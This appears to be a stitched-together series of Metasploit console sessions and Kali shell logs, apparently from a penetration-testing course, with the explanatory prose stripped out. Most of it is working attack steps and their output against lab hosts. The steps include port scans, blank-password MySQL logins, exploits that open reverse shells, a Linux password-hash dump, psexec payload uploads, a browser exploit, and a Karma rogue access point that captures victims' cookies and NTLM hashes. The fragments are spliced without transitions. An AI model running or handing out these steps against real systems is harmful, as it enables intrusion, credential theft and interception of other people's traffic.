-------         ---                ----  -------            ---------  -----  -------  ----  --------
172.16.194.134  00:0C:29:68:51:BB        Microsoft Windows  XP                server         
172.16.194.172  00:0C:29:D1:62:80        Linux              Ubuntu            server         

msf > 

msf >  db_export -h
Usage:
    db_export -f  **[**-a**]** **[**filename]
    Format can be one of: xml, pwdump
**[**-] No output file was specified

msf > db_export -f xml /root/msfu/Exported.xml
> Starting export of workspace msfu to /root/msfu/Exported.xml **[** xml **]**...
>     **>>** Starting export of report
>     **>>** Starting export of hosts
>     **>>** Starting export of events
>     **>>** Starting export of services
>     **>>** Starting export of credentials
>     **>>** Starting export of web sites
>     **>>** Starting export of web pages
>     **>>** Starting export of web forms
>     **>>** Starting export of web vulns
>     **>>** Finished export of report
> Finished export of workspace msfu to /root/msfu/Exported.xml **[** xml **]**...

msf > hosts -h
Usage: hosts **[** options **]** **[**addr1 addr2 ...]

OPTIONS:
  -a,--add          Add the hosts instead of searching
  -d,--delete       Delete the hosts instead of searching
  -c     Only show the given columns **(**see list below**)**
  -h,--help         Show this help information
  -u,--up           Only show hosts which are up
  -o          Send output to a file **in **csv format
  -O        Order rows by specified column number
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by
  -i,--info         Change the info of a host
  -n,--name         Change the name of a host
  -m,--comment      Change the comment of a host
  -t,--tag          Add or specify a tag to a range of hosts

msf > hosts -c address,os_flavor

Hosts
**=====**

address         os_flavor
-------         ---------
172.16.194.134  XP
172.16.194.172  Ubuntu

msf > hosts -c address,os_flavor -S Linux

Hosts
**=====**

address         os_flavor
-------         ---------
172.16.194.172  Ubuntu

msf >

msf  auxiliary**(**tcp**)** > show options

Module options **(**auxiliary/scanner/portscan/tcp**)**:

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   FILTER                        no        The filter string **for **capturing traffic
   INTERFACE                     no        The name of the interface
   PCAPFILE                      no        The name of the PCAP capture file to process
   PORTS        1-10000          yes       Ports to scan **(**e.g. 22-25,80,110-900**)**
   RHOSTS                        yes       The target address range or CIDR identifier
   SNAPLEN      65535            yes       The number of bytes to capture
   THREADS      1                yes       The number of concurrent threads
   TIMEOUT      1000             yes       The socket connect timeout **in **milliseconds

msf  auxiliary**(**tcp**)** > hosts -c address,os_flavor -S Linux -R

Hosts
**=====**

address         os_flavor
-------         ---------
172.16.194.172  Ubuntu

RHOSTS **=>** 172.16.194.172

msf  auxiliary**(**tcp**)** > run

> 172.16.194.172:25 - TCP OPEN
> 172.16.194.172:23 - TCP OPEN
> 172.16.194.172:22 - TCP OPEN
> 172.16.194.172:21 - TCP OPEN
> 172.16.194.172:53 - TCP OPEN
> 172.16.194.172:80 - TCP OPEN

...snip...

> 172.16.194.172:5432 - TCP OPEN
> 172.16.194.172:5900 - TCP OPEN
> 172.16.194.172:6000 - TCP OPEN
> 172.16.194.172:6667 - TCP OPEN
> 172.16.194.172:6697 - TCP OPEN
> 172.16.194.172:8009 - TCP OPEN
> 172.16.194.172:8180 - TCP OPEN
> 172.16.194.172:8787 - TCP OPEN
> Scanned 1 of 1 hosts **(**100% complete**)**
> Auxiliary module execution completed

msf  auxiliary**(**tcp**)** > hosts -R

Hosts
**=====**

address         mac                name  os_name            os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------            ---------  -----  -------  ----  --------
172.16.194.134  00:0C:29:68:51:BB        Microsoft Windows  XP                server         
172.16.194.172  00:0C:29:D1:62:80        Linux              Ubuntu            server         

RHOSTS **=>** 172.16.194.134 172.16.194.172

msf  auxiliary**(**tcp**)** > show options

Module options **(**auxiliary/scanner/portscan/tcp**)**:

   Name         Current Setting                Required  Description
   ----         ---------------                --------  -----------
   CONCURRENCY  10                             yes       The number of concurrent ports to check per host
   FILTER                                      no        The filter string **for **capturing traffic
   INTERFACE                                   no        The name of the interface
   PCAPFILE                                    no        The name of the PCAP capture file to process
   PORTS        1-10000                        yes       Ports to scan **(**e.g. 22-25,80,110-900**)**
   RHOSTS       172.16.194.134 172.16.194.172  yes       The target address range or CIDR identifier
   SNAPLEN      65535                          yes       The number of bytes to capture
   THREADS      1                              yes       The number of concurrent threads
   TIMEOUT      1000                           yes       The socket connect timeout **in **milliseconds

msf > services -h

Usage: services **[**-h**]** **[**-u**]** **[**-a**]** **[**-r **]** **[**-p >port1,port2>] **[**-s >name1,name2>] **[**-o **]** **[**addr1 addr2 ...]

  -a,--add          Add the services instead of searching
  -d,--delete       Delete the services instead of searching
  -c     Only show the given columns
  -h,--help         Show this help information
  -s   Search **for **a list of service names
  -p   Search **for **a list of ports
  -r      Only show **[**tcp|udp] services
  -u,--up           Only show services which are up
  -o          Send output to a file **in **csv format
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by

msf > services -c name,info 172.16.194.134

Services
**========**

host            name          info
----            ----          ----
172.16.194.134  http          Apache httpd 2.2.17 **(**Win32**)** mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.134  msrpc         Microsoft Windows RPC 
172.16.194.134  netbios-ssn   
172.16.194.134  http          Apache httpd 2.2.17 **(**Win32**)** mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.134  microsoft-ds  Microsoft Windows XP microsoft-ds 
172.16.194.134  mysql 

msf > services -c name,info -S http

Services
**========**

host            name  info
----            ----  ----
172.16.194.134  http  Apache httpd 2.2.17 **(**Win32**)** mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.134  http  Apache httpd 2.2.17 **(**Win32**)** mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.172  http  Apache httpd 2.2.8 **(**Ubuntu**)** DAV/2 
172.16.194.172  http  Apache Tomcat/Coyote JSP engine 1.1 

msf > services -c info,name -p 445

Services
**========**

host            info                                  name
----            ----                                  ----
172.16.194.134  Microsoft Windows XP microsoft-ds     microsoft-ds
172.16.194.172  Samba smbd 3.X workgroup: WORKGROUP   netbios-ssn

msf > services -c port,proto,state -p 70-81
Services
**========**
host           port proto state
----           ---- ----- -----
172.16.194.134 80   tcp   open
172.16.194.172 75   tcp   closed
172.16.194.172 71   tcp   closed
172.16.194.172 72   tcp   closed
172.16.194.172 73   tcp   closed
172.16.194.172 74   tcp   closed
172.16.194.172 70   tcp   closed
172.16.194.172 76   tcp   closed
172.16.194.172 77   tcp   closed
172.16.194.172 78   tcp   closed
172.16.194.172 79   tcp   closed
172.16.194.172 80   tcp   open
172.16.194.172 81   tcp  closed

msf > services -s http -c port 172.16.194.134
Services
**========**
host           port
----           ----
172.16.194.134 80
172.16.194.134 443

msf > services -S Unr

Services
**========**
host           port proto name state info
----           ---- ----- ---- ----- ----
172.16.194.172 6667 tcp   irc  open  Unreal ircd
172.16.194.172 6697 tcp   irc  open  Unreal ircd

msf > services -s http -c port 172.16.194.134 -o /root/msfu/http.csv

> Wrote services to /root/msfu/http.csv

msf > hosts -S Linux -o /root/msfu/linux.csv
> Wrote hosts to /root/msfu/linux.csv

msf > cat /root/msfu/linux.csv
> exec: cat /root/msfu/linux.csv

address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server","",""

msf > cat /root/msfu/http.csv
> exec: cat /root/msfu/http.csv

host,port
"172.16.194.134","80"
"172.16.194.134","443"

msf > creds

Credentials
**===========**

host  port  user  pass  type  active?
----  ----  ----  ----  ----  -------

> Found 0 credentials.

msf  auxiliary**(**mysql_login**)** > run

> 172.16.194.172:3306 MYSQL - Found remote MySQL version 5.0.51a
> 172.16.194.172:3306 MYSQL - **[**1/2] - Trying username:'root' with password:''
> 172.16.194.172:3306 - SUCCESSFUL LOGIN 'root' : ''
> Scanned 1 of 1 hosts **(**100% complete**)**
> Auxiliary module execution completed


msf  auxiliary**(**mysql_login**)** > creds 

Credentials
**===========**

host            port  user  pass  type      active?
----            ----  ----  ----  ----      -------
172.16.194.172  3306  root        password  true

> Found 1 credential.
msf  auxiliary**(**mysql_login**)** >

msf > creds -a 172.16.194.134 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
> Time: 2012-06-20 20:31:42 UTC Credential: host**=**172.16.194.134 port**=**445 proto**=**tcp sname**=** type**=**password user**=**Administrator pass**=**7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: active**=**true

msf > creds

Credentials
**===========**

host            port  user           pass                                                                  type      active?
----            ----  ----           ----                                                                  ----      -------
172.16.194.134  445   Administrator  7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::  password  true

> Found 1 credential.

msf > loot -h
Usage: loot 
 Info: loot **[**-h**]** **[**addr1 addr2 ...] **[**-t **]**
  Add: loot -f **[**fname] -i **[**info] -a **[**addr1 addr2 ...] **[**-t **[**type**]**
  Del: loot -d **[**addr1 addr2 ...]

  -a,--add          Add loot to the list of addresses, instead of listing
  -d,--delete       Delete *****all***** loot matching host and type
  -f,--file         File with contents of the loot to add
  -i,--info         Info of the loot to add
  -t   Search **for **a list of types
  -h,--help         Show this help information
  -S,--search       Search string to filter by

msf  exploit**(**usermap_script**)** > exploit

> Started reverse double handler
> Accepted the first client connection...
> Accepted the second client connection...
> Command: echo 4uGPYOrars5OojdL;
> Writing to socket A
> Writing to socket B
> Reading from sockets...
> Reading from socket B
> B: "4uGPYOrars5OojdL\r "
> Matching...
> A is input...
> Command shell session 1 opened **(**172.16.194.163:4444 -> 172.16.194.172:55138**)** at 2012-06-27 19:38:54 -0400

^Z
Background session 1? **[**y/N]  y

msf  exploit**(**usermap_script**)** > use post/linux/gather/hashdump
msf  post**(**hashdump**)** > show options

Module options **(**post/linux/gather/hashdump**)**:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

msf  post**(**hashdump**)** > sessions -l

Active sessions
**===============**

  Id  Type        Information  Connection
  --  ----        -----------  ----------
  1   shell unix               172.16.194.163:4444 -> 172.16.194.172:55138 **(**172.16.194.172**)**

msf  post**(**hashdump**)** > run

**[**+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
**[**+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
**[**+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
**[**+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
**[**+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
**[**+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
**[**+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
**[**+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
> Post module execution completed

msf  post**(**hashdump**)** > loot

Loot
**====**

host            service  type          name                   content     info                            path
----            -------  ----          ----                   -------     ----                            ----
172.16.194.172           linux.hashes  unshadowed_passwd.pwd  text/plain  Linux Unshadowed Password File  /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
172.16.194.172           linux.passwd  passwd.tx              text/plain  Linux Passwd File               /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644.txt
172.16.194.172           linux.shadow  shadow.tx              text/plain  Linux Password Shadow File      /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948.txt

Database Backend Commands
**=========================**

    Command           Description
    -------           -----------
    creds             List all credentials in the database
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces

msf exploit**(**ms08_067_netapi**)** > exploit -j
> Exploit running as background job.
msf exploit**(**ms08_067_netapi**)** >

msf > use exploit/windows/smb/psexec
msf exploit**(**psexec**)** > set RHOST 192.168.1.100
RHOST **=>** 192.168.1.100
msf exploit**(**psexec**)** > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD **=>** windows/shell/reverse_tcp
msf exploit**(**psexec**)** > set LHOST 192.168.1.5
LHOST **=>** 192.168.1.5
msf exploit**(**psexec**)** > set LPORT 4444
LPORT **=>** 4444
msf exploit**(**psexec**)** > set SMBUSER victim
SMBUSER **=>** victim
msf exploit**(**psexec**)** > set SMBPASS s3cr3t
SMBPASS **=>** s3cr3t
msf exploit**(**psexec**)** > exploit

> Connecting to the server...
> Started reverse handler
> Authenticating as user 'victim'...
> Uploading payload...
> Created \hikmEeEM.exe...
> Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
> Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
> Obtaining a service manager handle...
> Creating a new service **(**ciWyCVEp - "MXAVZsCqfRtZwScLdexnD"**)**...
> Closing service handle...
> Opening service...
> Starting the service...
> Removing the service...
> Closing service handle...
> Deleting \hikmEeEM.exe...
> Sending stage **(**240 bytes**)**
> Command shell session 1 opened **(**192.168.1.5:4444 -> 192.168.1.100:1073**)**

Microsoft Windows XP **[**Version 5.1.2600]
**(**C**)** Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

msf exploit**(**ani_loadimage_chunksize**)** > sessions -l

Active sessions
**===============**

  Id  Description  Tunnel
  --  -----------  ------
  1   Meterpreter  192.168.1.5:52647 -> 192.168.1.100:4444

msf exploit**(**ani_loadimage_chunksize**)** > sessions -i 1
> Starting interaction with 1...

meterpreter >

msf > use exploit/windows/browser/ani_loadimage_chunksize
msf exploit**(**ani_loadimage_chunksize**)** > set URIPATH /
URIPATH **=>** /
msf exploit**(**ani_loadimage_chunksize**)** > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD **=>** windows/shell/reverse_tcp
msf exploit**(**ani_loadimage_chunksize**)** > set LHOST 192.168.1.5
LHOST **=>** 192.168.1.5
msf exploit**(**ani_loadimage_chunksize**)** > set LPORT 4444
LPORT **=>** 4444
msf exploit**(**ani_loadimage_chunksize**)** > exploit
> Exploit running as background job.

> Started reverse handler
> Using URL: <a href="http://0.0.0.0:8080/">http://0.0.0.0:8080/</a>
>  Local IP: <a href="http://192.168.1.5:8080/">http://192.168.1.5:8080/</a>
> Server started.
msf exploit**(**ani_loadimage_chunksize**)** >
> Attempting to exploit ani_loadimage_chunksize
> Sending HTML page to 192.168.1.100:1077...
> Attempting to exploit ani_loadimage_chunksize
> Sending Windows ANI LoadAniIcon**()** Chunk Size Stack Overflow **(**HTTP**)** to 192.168.1.100:1077...
> Sending stage **(**240 bytes**)**
> Command shell session 2 opened **(**192.168.1.5:4444 -> 192.168.1.100:1078**)**

msf exploit**(**ani_loadimage_chunksize**)** > sessions -i 2
> Starting interaction with 2...

Microsoft Windows XP **[**Version 5.1.2600]
**(**C**)** Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\victim\Desktop>

root@kali:~# wget <a href="https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc_.txt">https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc_.txt</a>
--2015-04-03 16:17:27-- <a href="https://www.offensive-security.com/downloads/karma.rc">https://www.offensive-security.com/downloads/karma.rc</a>
Resolving <a href="http://www.offensive-security.com/">www.offensive-security.com</a> **(**<a href="http://www.offensive-security.com/">www.offensive-security.com</a>**)**... 198.50.176.211
Connecting to <a href="http://www.offensive-security.com/">www.offensive-security.com</a> **(**<a href="http://www.offensive-security.com/">www.offensive-security.com</a>**)**|198.50.176.211|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1089 **(**1.1K**)** **[**text/plain]

Saving to: `karma.rc' 100%[======================================>] 1,089 --.-K/s in 0s

2015-04-03 16:17:28 (35.9 MB/s) - `karma.rc' saved **[**1089/1089]
root@kali:~#

root@kali:~# apt update
...snip...
root@kali:~# apt -y install isc-dhcp-server
Reading package lists... Done
Building dependency tree       
Reading state information... Done
...snip...
root@kali:~#

root@kali:~# cat /etc/dhcp/dhcpd.conf
option domain-name-servers 10.0.0.1;

default-lease-time 60;
max-lease-time 72;

ddns-update-style none;

authoritative;

log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 **{**
  range 10.0.0.100 10.0.0.254;
  option routers 10.0.0.1;
  option domain-name-servers 10.0.0.1;
**}**
root@kali:~#

root@kali:~# apt -y install libsqlite3-dev
Reading package lists... Done
Building dependency tree       
Reading state information... Done
...snip...

root@kali:~# gem install activerecord sqlite3
Fetching: activerecord-5.0.0.1.gem **(**100%**)**
Successfully installed activerecord-5.0.0.1
Parsing documentation **for **activerecord-5.0.0.1
Installing ri documentation **for **activerecord-5.0.0.1
Done installing documentation **for **activerecord after 7 seconds
Fetching: sqlite3-1.3.12.gem **(**100%**)**
Building native extensions.  This could take a **while**...
Successfully installed sqlite3-1.3.12
Parsing documentation **for **sqlite3-1.3.12
Installing ri documentation **for **sqlite3-1.3.12
Done installing documentation **for **sqlite3 after 0 seconds
2 gems installed
root@kali:~#

root@kali:~# airmon-ng


PHY     Interface       Driver          Chipset

phy0	wlan0	        ath9k_htc	Atheros Communications, Inc. AR9271 802.11n

root@kali:~# airmon-ng start wlan0

PHY	Interface	Driver		Chipset

phy0	wlan0		ath9k_htc	Atheros Communications, Inc. AR9271 802.11n

		**(**mac80211 monitor mode vif enabled **for** **[**phy0]wlan0 on **[**phy0]wlan0mon**)**
		**(**mac80211 station mode vif disabled **for** **[**phy0]wlan0**)**

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill **(**some of**)** them!

PID     Name
693     dhclient
934     wpa_supplicant

root@kali:~# airbase-ng -P -C 30 -e "U R PWND" -v wlan0mon
For information, no action required: Using gettimeofday**()** instead of /dev/rtc
22:52:25  Created tap interface at0
22:52:25  Trying to set MTU on at0 to 1500
22:52:25  Trying to set MTU on wlan0mon to 1800
22:52:25  Access Point with BSSID 00:C0:CA:82:D9:63 started.

root@kali:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
root@kali:~#

root@kali:~# touch /var/lib/dhcp/dhcpd.leases
root@kali:~# dhcpd -cf /etc/dhcp/dhcpd.conf at0
Internet Systems Consortium DHCP Server 4.3.3
Copyright 2004-2015 Internet Systems Consortium.
All rights reserved.
For info, please visit <a href="https://www.isc.org/software/dhcp/">https://www.isc.org/software/dhcp/</a>
Config file: /etc/dhcp/dhcpd.conf
Database file: /var/lib/dhcp/dhcpd.leases
PID file: /var/run/dhcpd.pid
Wrote 0 leases to leases file.
Listening on LPF/at0/00:c0:ca:82:d9:63/10.0.0.0/24
Sending on   LPF/at0/00:c0:ca:82:d9:63/10.0.0.0/24
Sending on   Socket/fallback/fallback-net

root@kali:~# ps aux | grep **[**d]hcpd
root      2373  0.0  0.4  28448  9532 ?        Ss   13:45   0:00 dhcpd -cf /etc/dhcp/dhcpd.conf at0
root@kali:~#

root@kali:~# msfconsole -q -r karma.rc_.txt

> Processing karma.rc_.txt **for **ERB directives.
resource **(**karma.rc_.txt**)>** db_connect postgres:toor@127.0.0.1/msfbook
resource **(**karma.rc_.txt**)>** use auxiliary/server/browser_autopwn
resource **(**karma.rc_.txt**)>** setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST **=>** 10.0.0.1
resource **(**karma.rc_.txt**)>** setg AUTOPWN_PORT 55550
AUTOPWN_PORT **=>** 55550
resource **(**karma.rc_.txt**)>** setg AUTOPWN_URI /ads
AUTOPWN_URI **=>** /ads
resource **(**karma.rc_.txt**)>** set LHOST 10.0.0.1
LHOST **=>** 10.0.0.1
resource **(**karma.rc_.txt**)>** set LPORT 45000
LPORT **=>** 45000
resource **(**karma.rc_.txt**)>** set SRVPORT 55550
SRVPORT **=>** 55550
resource **(**karma.rc_.txt**)>** set URIPATH /ads
URIPATH **=>** /ads
resource **(**karma.rc_.txt**)>** run
> Auxiliary module execution completed
resource **(**karma.rc_.txt**)>** use auxiliary/server/capture/pop3
resource **(**karma.rc_.txt**)>** set SRVPORT 110
SRVPORT **=>** 110
resource **(**karma.rc_.txt**)>** set SSL false
SSL **=>** false
resource **(**karma.rc_.txt**)>** run
> Auxiliary module execution completed
resource **(**karma.rc_.txt**)>** use auxiliary/server/capture/pop3
resource **(**karma.rc_.txt**)>** set SRVPORT 995
SRVPORT **=>** 995
resource **(**karma.rc_.txt**)>** set SSL true
SSL **=>** true
resource **(**karma.rc_.txt**)>** run
> Auxiliary module execution completed
resource **(**karma.rc_.txt**)>** use auxiliary/server/capture/ftp
> Setup
resource **(**karma.rc_.txt**)>** run
> Listening on 0.0.0.0:110...
> Auxiliary module execution completed
> Server started.


msf auxiliary**(**http**)** >

msf auxiliary**(**http**)** >
> DNS 10.0.0.100:1276 XID 87 **(**IN::A <a href="http://www.msn.com/">www.msn.com</a>**)**
> DNS 10.0.0.100:1276 XID 87 **(**IN::A <a href="http://www.msn.com/">www.msn.com</a>**)**
> HTTP REQUEST 10.0.0.100 > <a href="http://www.msn.com/">www.msn.com:80</a> GET / Windows IE 5.01 cookies**=**MC1**=**V**=**3&amp;GUID**=**e2eabc69be554e3587acce84901a53d3; MUID**=**E7E065776DBC40099851B16A38DB8275; mh**=**MSFT; CULTURE**=**EN-US; zip**=**z:68101|la:41.26|lo:-96.013|c:US|hr:1; FlightGroupId**=**14; FlightId**=**BasePage; hpsvr**=**M:5|F:5|T:5|E:5|D:blu|W:F; hpcli**=**W.H|L.|S.|R.|U.L|C.|H.; ushpwea**=**wc:USNE0363; wpv**=**2
> DNS 10.0.0.100:1279 XID 88 **(**IN::A <a href="http://adwords.google.com/">adwords.google.com</a>**)**
> DNS 10.0.0.100:1279 XID 88 **(**IN::A <a href="http://adwords.google.com/">adwords.google.com</a>**)**
> DNS 10.0.0.100:1280 XID 89 **(**IN::A <a href="http://blogger.com/">blogger.com</a>**)**
> DNS 10.0.0.100:1280 XID 89 **(**IN::A <a href="http://blogger.com/">blogger.com</a>**)**
...snip...
> DNS 10.0.0.100:1289 XID 95 **(**IN::A <a href="http://gmail.com/">gmail.com</a>**)**
> DNS 10.0.0.100:1289 XID 95 **(**IN::A <a href="http://gmail.com/">gmail.com</a>**)**
> DNS 10.0.0.100:1289 XID 95 **(**IN::A <a href="http://gmail.com/">gmail.com</a>**)**
> DNS 10.0.0.100:1292 XID 96 **(**IN::A <a href="http://gmail.google.com/">gmail.google.com</a>**)**
> DNS 10.0.0.100:1292 XID 96 **(**IN::A <a href="http://gmail.google.com/">gmail.google.com</a>**)**
> DNS 10.0.0.100:1292 XID 96 **(**IN::A <a href="http://gmail.google.com/">gmail.google.com</a>**)**
> DNS 10.0.0.100:1292 XID 96 **(**IN::A <a href="http://gmail.google.com/">gmail.google.com</a>**)**
> DNS 10.0.0.100:1292 XID 96 **(**IN::A <a href="http://gmail.google.com/">gmail.google.com</a>**)**
> Request '/ads' from 10.0.0.100:1278
> Recording detection from User-Agent
> DNS 10.0.0.100:1292 XID 96 **(**IN::A <a href="http://gmail.google.com/">gmail.google.com</a>**)**
> Browser claims to be MSIE 5.01, running on Windows 2000
> DNS 10.0.0.100:1293 XID 97 **(**IN::A <a href="http://google.com/">google.com</a>**)**
> Error: SQLite3::SQLException cannot start a transaction within a transaction /usr/lib/ruby/1.8/sqlite3/errors.rb:62:in `check'/usr/lib/ruby/1.8/sqlite3/resultset.rb:47:in `check'/usr/lib/ruby/1.8/sqlite3/resultset.rb:39:in `commence'/usr/lib/ruby/1.8/sqlite3
...snip...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://ecademy.com/">ecademy.com</a>:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://facebook.com/">facebook.com</a>:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://gather.com/">gather.com</a>:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://gmail.com/">gmail.com</a>:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://gmail.google.com/">gmail.google.com</a>:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY-zgcXpEV; NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8
[*] HTTP REQUEST 10.0.0.100 > <a href="http://google.com/">google.com</a>:80 GET /forms.html Windows IE 5.01 cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY-zgcXpEV; NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8
[*] HTTP REQUEST 10.0.0.100 > <a href="http://linkedin.com/">linkedin.com</a>:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://livejournal.com/">livejournal.com</a>:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://monster.com/">monster.com</a>:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://myspace.com/">myspace.com</a>:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://plaxo.com/">plaxo.com</a>:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://ryze.com/">ryze.com</a>:80 GET /forms.html Windows IE 5.01 cookies=
[*] Sending MS03-020 Internet Explorer Object Type to 10.0.0.100:1278...
[*] HTTP REQUEST 10.0.0.100 > slashdot.org:80 GET /forms.html Windows IE 5.01 cookies=
[*] Received 10.0.0.100:1360 LMHASH:00 NTHASH: OS:Windows 2000 2195 LM:Windows 2000 5.0
...snip...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.monster.com/">www.monster.com:80</a> GET /forms.html Windows IE 5.01 cookies=
[*] Received 10.0.0.100:1362 TARGET\P0WN3D LMHASH:47a8cfba21d8473f9cc1674cedeba0fa6dc1c2a4dd904b72 NTHASH:ea389b305cd095d32124597122324fc470ae8d9205bdfc19 OS:Windows 2000 2195 LM:Windows 2000 5.0
[*] Authenticating to 10.0.0.100 as TARGET\P0WN3D...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.myspace.com/">www.myspace.com:80</a> GET /forms.html Windows IE 5.01 cookies=
[*] AUTHENTICATED as TARGETP0WN3D...
[*] Connecting to the ADMIN$ share...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.plaxo.com/">www.plaxo.com:80</a> GET /forms.html Windows IE 5.01 cookies=
[*] Regenerating the payload...
[*] Uploading payload...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.ryze.com/">www.ryze.com:80</a> GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.slashdot.org/">www.slashdot.org:80</a> GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.twitter.com/">www.twitter.com:80</a> GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.xing.com/">www.xing.com:80</a> GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.yahoo.com/">www.yahoo.com:80</a> GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://xing.com/">xing.com</a>:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://yahoo.com/">yahoo.com</a>:80 GET /forms.html Windows IE 5.01 cookies=
[*] Created UxsjordQ.exe...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://ziggs.com/">ziggs.com</a>:80 GET /forms.html Windows IE 5.01 cookies=
[*] Connecting to the Service Control Manager...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://care.com/">care.com</a>:80 GET / Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.gather.com/">www.gather.com:80</a> GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.ziggs.com/">www.ziggs.com:80</a> GET /forms.html Windows IE 5.01 cookies=
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Removing the service...
